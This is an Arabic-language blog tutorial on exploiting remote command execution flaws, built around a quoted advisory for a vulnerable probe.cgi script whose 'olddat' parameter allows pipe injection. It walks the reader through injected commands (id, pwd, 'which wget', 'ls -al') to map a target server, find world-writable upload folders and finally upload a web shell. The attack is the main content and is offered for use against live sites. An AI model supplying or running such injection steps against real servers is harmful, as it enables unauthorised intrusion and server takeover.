Header AD

ads

شرح ثغرة Remote Command Execution


السلام عليكم 
في هذا الموضوع سوف نشرح بعض أنواع الثغرات وطريقة استغلالها
...
والثغرات بأختصار هي اخطاء برمجية يقع فيها المبرمجين تؤدي تلك الأخطاء الى استغلالها من قبل الهكر في أختراق النظام المستهدف
وهناك اخطاء برمجية كثيرة جدآ ومختلفة وكل خطاء لة استغلال معين

============================== =====

ثغرات تنفيذ الاوامر Command Execution
============================== =====
هذا النوع من الثغرات يحدث نتيجه استخدام دوال تنفيذ الاوامر في لغه PHP بشكل خاطئ ويتم استغلال الخطاء مباشرة في المتصفح بتنفيذ اوامر الليونكس
وتنقسم دوال تنفيذ الاوامر في لغة php
التي تنفذ بشكل مباشر الى system و popen و shell_exec و exec
هذه الدوال تنفذ اي برنامج نظام يمرر لها بشكل مباشر
وكمثال انظر الى هذا الاكسبلويت

كود:
Authors ....... spher3 (spher3 at fatalimpulse dot net) Date .......... 04-07-2008 Product ....... probe.cgi Type .......... Remote Command Execution o Info: ================ That ****** is used to open file '.dat'. o Vulnerable Code: ================ .. 23 [...] 24 $old = $query->param('olddat'); 25 [...] .. .. 34 [...] 35 open (VF, "$olddat"); 36 [...] .. (24) At this line, the cgi param 'olddat' is associated to one database. This variable isn't checked by anyone matching, so you can open all file that you want. (35) At this line the ****** open the file that you had chosen. With pipe `|` is possible to execute arbitrary code on the shell. o Proof of concept: ================ http://????.com/cgi-bin/probe.cgi?olddat=|id| uid=99(www) gid=99(www)
نفهم من هذا انه توجد ثغرة من نوع Command Execution
والملف المصاب هو probe.cgi 
..والان لنرى كيف يتم استغلال هذه الثغرة |http://????.com/cgi-bin/probe.cgi?olddat=|id????.com= الموقع الافتراضي المستهدفcgi-bin = مجلد cgi-binprobe.cgi = الملف المصابolddat = مكان الاصابة داخل الملف|id| : تعطي صلاحيتك بالسيرفر
بعد كتابتها اضغط على انتر سوف يظهر التالي
uid=99(www) gid=99(www)


والان نريد ان نعرف مكاننا على السيرفر
نكتب pwd في مكان id هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|pwd
فيظهر لنا هذا:
/home/.????/cgi.bin
والان لنرى هل مسموح لنا برفع ملف ام لا؟؟
نضع مكان id
which wget هكذا :|http://????.com/cgi-bin/probe.cgi?olddat=|which wget
اذا ظهر لك هذا /؟؟؟/؟؟؟/wget معناه مسموح برفع ملف
(علامات الاستفهام متغيرة اهم شيئ ان تظهر
wget )

والان نريد ان نعرف التصاريح للملفات والمجلدات لنعرف اين يمكننا الرفع:
منذ قليل قلنا ان مكاننا هو 
/home/.????/cgi.bin
ونريد الخروج من ملف cgi.bin الى المجلد الرئيسي
لذلك نضع مكان الـ id

cd /home/.???/;pwd
هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/;pwd
ولكي نرى المجلدات والملفات والتصريحات نستعمل الامر
ls%20-al;هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/;ls%20-al

ثم نبحث عن المجلد الذي له تصريح :

drwxrwxrwx = 777
لنفرض انك حصلت أمام مجلد الصور أو uploads تصريح ( drwxrwxrwx = 777 )
ولندخل اليه نكتب هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/uploads/;pwd

والان كل ما عليك هو رفع الشل وبهذا نكون اكملنا طريقة استغلال هذا النوع من الثغرات
شرح ثغرة Remote Command Execution شرح ثغرة Remote Command Execution Reviewed by Tap top on أكتوبر 05, 2015 Rating: 5

ليست هناك تعليقات